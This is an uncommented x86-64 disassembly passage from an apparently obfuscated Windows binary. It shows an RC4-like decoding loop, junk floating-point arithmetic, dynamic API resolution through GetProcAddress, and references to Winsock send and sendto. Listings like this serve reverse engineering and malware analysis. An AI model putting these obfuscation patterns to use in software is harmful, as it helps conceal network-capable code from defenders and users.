divss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
add ebx, 0xa6
mov edi, r12d
shl edi, 4
or edi, ebx
movzx ebx, r14b
movzx r14d, byte [rsp + rbx + 0x2b0]
movzx r13d, r13b
add cl, byte [rsp + r13 + 0x2b0]
movzx r13d, cl
movzx edx, byte [rsp + r13 + 0x2b0]
mov byte [rsp + rbx + 0x2b0], dl
movzx edx, r11b
movzx r11d, byte [rsp + rdx + 0x2b0]
mov byte [rsp + r13 + 0x2b0], r11b
movzx r11d, r8b
movzx r15d, byte [rsp + r11 + 0x2b0]
mov byte [rsp + rdx + 0x2b0], r15b
mov byte [rsp + r11 + 0x2b0], r14b
add al, byte [rsp + r14 + 0x2b0]
movzx r11d, byte [rsp + r13 + 0x2b0]
add r11b, r14b
movzx r11d, r11b
movzx r11d, byte [rsp + r11 + 0x2b0]
movzx ebx, byte [rsp + rbx + 0x2b0]
add bl, byte [rsp + rdx + 0x2b0]
movzx edx, al
add bl, byte [rsp + rdx + 0x2b0]
movzx edx, bl
movzx edx, byte [rsp + rdx + 0x2b0]
xor r11b, byte [rsp + rdx + 0x2b0]
xor r11b, dil
test r10d, r10d
je 0x1400f5c30
lea edx, [r10 - 1]
mov byte [rsp + rdx + 0x250], r11b
jmp 0x1400f5c30
mov dword [rsp + 0x140], 0x46849600
mov dword [rsp + 0x230], 0x46542400
mov dword [rsp + 0x1f0], 0x461f1c00
mov dword [rsp + 0x1d0], 0x45d42800
mov dword [rsp + 0x210], 0x45543000
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x1d0]
subss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x210]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x230]
subss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x1d0]
ucomiss xmm1, xmm0
jbe 0x1400f6840
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x210]
subss xmm1, xmm0
movss dword [rsp + 0x210], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x230]
addss xmm0, dword [rsp + 0x210]
movss dword [rsp + 0x210], xmm0
mov ebx, reloc.WS2_32.dll_sendto
jmp 0x1400f6ab1
movss xmm0, dword [rsp + 0x140]
addss xmm0, dword [rsp + 0x210]
movss dword [rsp + 0x210], xmm0
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x140]
addss xmm0, dword [rsp + 0x210]
movss dword [rsp + 0x210], xmm0
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x1f0]
divss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x1d0]
addss xmm0, dword [rsp + 0x1f0]
movss dword [rsp + 0x1f0], xmm0
movss xmm0, dword [rsp + 0x1d0]
addss xmm0, dword [rsp + 0x1f0]
movss dword [rsp + 0x1f0], xmm0
movss xmm0, dword [rsp + 0x140]
addss xmm0, dword [rsp + 0x210]
movss dword [rsp + 0x210], xmm0
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
subss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x1d0]
addss xmm0, dword [rsp + 0x1f0]
movss dword [rsp + 0x1f0], xmm0
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x1f0]
ucomiss xmm0, xmm1
jbe 0x1400f6a15
movss xmm0, dword [rsp + 0x1f0]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x210]
subss xmm1, xmm0
movss dword [rsp + 0x210], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
divss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x1d0]
divss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
jmp 0x1400f6aac
movss xmm0, dword [rsp + 0x140]
addss xmm0, dword [rsp + 0x1d0]
movss dword [rsp + 0x1d0], xmm0
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x1f0]
mulss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x140]
subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x210]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x210]
subss xmm1, xmm0
movss dword [rsp + 0x210], xmm1
mov ebx, reloc.WS2_32.dll_send
mov qword [rsp + 0xa0], r10
lea edx, [r10 + 1]
cmp edx, ebx
jge 0x1400f6eb2
or rsi, 1
mov rdx, qword [rsp + 0xa0]
mov r10d, edx
not r10d
add r10d, ebx
mov dword [rsp + 0xb0], r10d
lea ebx, [rdx + rdx]
add ebx, 3
mov rdx, qword [rsp + 0x98]
sub edx, ebp
mov qword [rsp + 0x98], rdx
xor r14d, r14d
jmp 0x1400f6b21
mov r10d, ecx
mov rcx, qword [rsp + 0xa0]
lea r15d, [rcx + r14]
lea ebp, [rbx - 1]
movsxd r12, ebp
movzx ebp, byte [r12 + r9]
mov dword [rsp + 0x140], 0x46e33e00
mov dword [rsp + 0x230], 0x46bd6000
mov dword [rsp + 0x1f0], 0x46978200
mov dword [rsp + 0x1d0], 0x46634800
mov dword [rsp + 0x210], 0x46178c00
mov dword [rsp + 0xd0], 0x4597a000
movss xmm0, dword [rsp + 0xd0]
movss xmm1, dword [rsp + 0x140]
subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0xd0]
movss xmm1, dword [rsp + 0x210]
mulss xmm1, xmm0
movss dword [rsp + 0x210], xmm1
movss xmm0, dword [rsp + 0xd0]
movss xmm1, dword [rsp + 0x210]
subss xmm1, xmm0
movss dword [rsp + 0x210], xmm1
movss xmm0, dword [rsp + 0xd0]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0xd0]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0xd0]
addss xmm0, dword [rsp + 0x140]
movss dword [rsp + 0x140], xmm0
movss xmm0, dword [rsp + 0xd0]
movss xmm1, dword [rsp + 0x230]
mov ecx, eax
ucomiss xmm0, xmm1
jbe 0x1400f6d0f
mov byte [rsp + 0x262], 0
mov r15, qword [rsp + 0xe90]
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x270]
mov rcx, r15
call rsi
mov r14, rax
lea rdx, [rsp + 0x250]
mov rcx, r15
call rsi
mov rbx, rax
mov rdx, qword [rsp + 0xd8]
mov rsi, qword [rsp + 0xa8]
mov rcx, qword [rsi]
mov r8, r14
mov r9, rax
call fcn.1401063b0
xor r13d, r13d
test rax, rax
je 0x1400ffa8a
mov r14, rax
lea r15, [rsi + 8]
mov rcx, qword [rsi]
mov rdx, r15
mov r8, qword [rsp + 0xb8]
call fcn.140104370
test rax, rax
je 0x1400ffa8a
xor r13d, r13d
mov rcx, qword [rsp + 0xdd8]
xor rcx, rsp
call fcn.14049f400
mov eax, r13d
movaps xmm6, xmmword [rsp + 0xde0]
movaps xmm7, xmmword [rsp + 0xdf0]
movaps xmm8, xmmword [rsp + 0xe00]
movaps xmm9, xmmword [rsp + 0xe10]
add rsp, 0xe28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret